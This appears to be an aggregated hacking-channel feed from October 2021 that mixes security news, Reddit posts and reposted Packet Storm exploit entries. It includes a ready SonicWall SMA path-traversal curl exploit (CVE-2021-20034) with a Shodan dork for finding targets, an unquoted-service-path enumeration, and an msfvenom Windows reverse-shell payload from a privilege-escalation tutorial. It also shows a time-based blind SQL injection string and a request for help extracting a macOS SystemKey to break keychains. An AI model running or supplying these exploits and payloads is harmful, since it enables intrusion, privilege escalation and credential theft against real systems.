Hacking on Medium
⭐ [BEST SELLER] — Profit Hacking, Gagner de l’argent sans travailler ! ⭐

J’ai toujours été fasciné par l’idée de gagner de l’argent sans travailler. Cela semble être un rêve devenu réalité pour ceux qui veulent…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Copa Tianfu: hackean iOS 15, Chrome, Windows; Ubuntu, VMWare, etc.

https://cdn-images-1.medium.com/max/1386/0*v7pmmz3vU4U79NXN
PUBLICADO EN 20 OCTUBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SonicWall SMA 10.2.1.0-17sv Password Reset

https://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png
SonicWall SMA version 10.2.1.0-17sv suffers from a remote password reset vulnerability.

MD5 | fc825fd8b67124f85d0945de3adb5652

Download
# Exploit Title: SonicWall SMA 10.2.1.0-17sv - Password Reset
# Description: Overwrite the persistent database, resulting in password reset on reboot.
# Shodan Dork: https://www.shodan.io/search?query=title%3A%22Virtual+Office%22+%22Server%3A+SonicWall%22
# Date: 10/19/2021
# Exploit Author: Jacob Baines (@Junior_Baines)
# Root Cause Analysis: https://attackerkb.com/topics/23t9VCbGzt/cve-2021-20034/rapid7-analysis?referrer=profile
# Vendor Homepage: https://www.sonicwall.com/
# Version: SMA 100 Series using 9.0.0.10-28sv, 10.2.0.7-34sv, and 10.2.1.0-17sv
# Tested on: SMA 500v using 9.0.0.10-28sv and 10.2.1.0-17sv
# CVE : CVE-2021-20034

curl -v --insecure "https://10.0.0.6/cgi-bin/handleWAFRedirect?hdl=../flash/etc/EasyAccess/var/conf/persist.db"


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Macro Expert 4.7 Unquoted Service Path

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
Macro Expert version 4.7 suffers from an unquoted service path vulnerability.

MD5 | 51532c02ab263da0f098a4deb631668b

Download
# Exploit Title: Macro Expert 4.7 - Unquoted Service Path
# Exploit Author: Mert DAŞ
# Version: 3.11.8
# Date: 20.10.2021
# Vendor Homepage: http://www.macro-expert.com/
# Tested on: Windows 10

C:\Users\Mert>sc qc "Macro Expert"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Macro Expert
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\program files (x86)\grasssoft\macro
expert\MacroService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Macro Expert
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
---------------------------------------------

Or:
-------------------------
C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr
/i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: Stored Credentials

Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Exploiting Stored Credentialsis one technique to increase privileges. Introductionlets you view and deletes your saved credentials for signing in to websites, connected applications, and networks. It is like a digital vault to keep all of your credentials safe. Web credentials:As Edge and widows are the product of the same company, the credentials manager has access to the stored information of the Edge browser too, in order to increase the safekeeping of saved credentials. It also stores the password of order applications provided by Microsoft such as skype, Microsoft office, etc.Windows credentials:Under this category, all the windows login credentials can be found. Along with any system that is connected to the network. user accounts > credential manager.Abusing Stored CredentialIf an attacker identifies stored credential entry for an administrator account then the attacker can go for privilege escalation by executing a malicious file with the help of runas utility.Create Malicious Executable To get a reverse shell as NT Authority SYSTEM, let’s create a malicious exe file that could be executed using runas utility. It allows a user to run specific tools and programs with different permissions than the user's current logon provides.msfvenom –p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > Vuln.exe python –m SimpleHTTPServer 80___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Windows Privilege Escalation: Stored Credentials (Runas)

Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Exploiting Stored Credentials is one technique to increase privileges. Table of Content Introduction Credential Manager Web credentials Windows credentials Abusing Stored Credential Create Malicious Executable Introduction Credential

The post Windows Privilege Escalation: Stored Credentials (Runas) appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses
https://www.reddit.com/r/redteamsec/comments/qc4j42/utilizing_programmatic_identifiers_progids_for/

submitted by /u/v3ded (https://www.reddit.com/user/v3ded)
[link] (https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses) [comments] (https://www.reddit.com/r/redteamsec/comments/qc4j42/utilizing_programmatic_identifiers_progids_for/)

___________________________
@hacking_Attack
@Hacking_Video

WHAT IS CLICKJACKING ?
https://medium.com/@krithik.hack/what-is-clickjacking-c11b0881590e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into…Continue reading on Medium » (https://medium.com/@krithik.hack/what-is-clickjacking-c11b0881590e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Deepfake Audio Scores $35M in Corporate Heist

A combination of business email compromise and deepfake audio led a branch manager to transfer millions to scammers, in a case that serves as a warning to organizations.

Dark Reading: Attacks/Breaches
The Ransomware Payment Dilemma: Should Victims Pay or Not?

It's time to steer the conversation away from whether payment bans should be implemented to how and when they should take effect.

Dark Reading: Attacks/Breaches
JavaScript Packing Found in More Than 25% of Malicious Sites

Obfuscation techniques are extremely prevalent, data shows, but they can't be used as a single indicator of compromise because legitimate websites use them.

Dark Reading: Attacks/Breaches
Passwordless Is the Future … but What About the Present?

Password managers, single sign-on, and multifactor authentication each offers its own methodology and unique set of benefits — and drawbacks — to users.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Help with BlindSQL Payload

I hope my post does not get flagged as I am just trying to understand the payload.

I have a question on a Time SQL payload I came across while working.

AND 2947=LIKE('ABCDEFG',UPPER (HEX(RANDOMBLOB(800000000/2))))—-

I need help understanding what the payload is doing. Hope someone can explain.

submitted by /u/Anxious_Ad2309
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Breaking SystemKey on Mac

I don't believe this breaks the legality rule but if it does I apologize.

So, I want to learn hacking, but I've been messing around with my Mac. I made a few users who I know the passwords of, but I want to see if I can break it.I made a Keychain folder on my desktop and copied login.keychain-db and System.keychain to it, but I just need SystemKey so I can break it open.

Does anyone know how I can get access to SystemKey?

I have NO access whatsoever, any clue how to get it? I tried ls -l with it, sudo on top of those commands, etc.

All help is very welcome, thank you!
I am constantly struggling with the operation denied error as well.

submitted by /u/thomas_the_kid2
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
NVME firmware unlock

Currently the market is about flooded with a western digital (sandisk) NVME drive model CH SN530 labeled as a 1TB, this drive is very small in the 2230 formfactor, and is what is used for xbox series S. formatted, this drive is only 867GB, and from what i read, this is something to do with a reserved portion for xbox. the commercial unit is a PC SN530, which i imagine has the full amount available. Does anyone know any more about this drive, or some user base the plays with firmware? I came accross a gnome blog with a user called u/hughsie , unsure if this is uncharted waters for all or just me? I'm going to be installing this in a r/SteamDeck and would be cool to use the full amount of the chip. ~940GB.

​

thanks

submitted by /u/Jgsieve
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video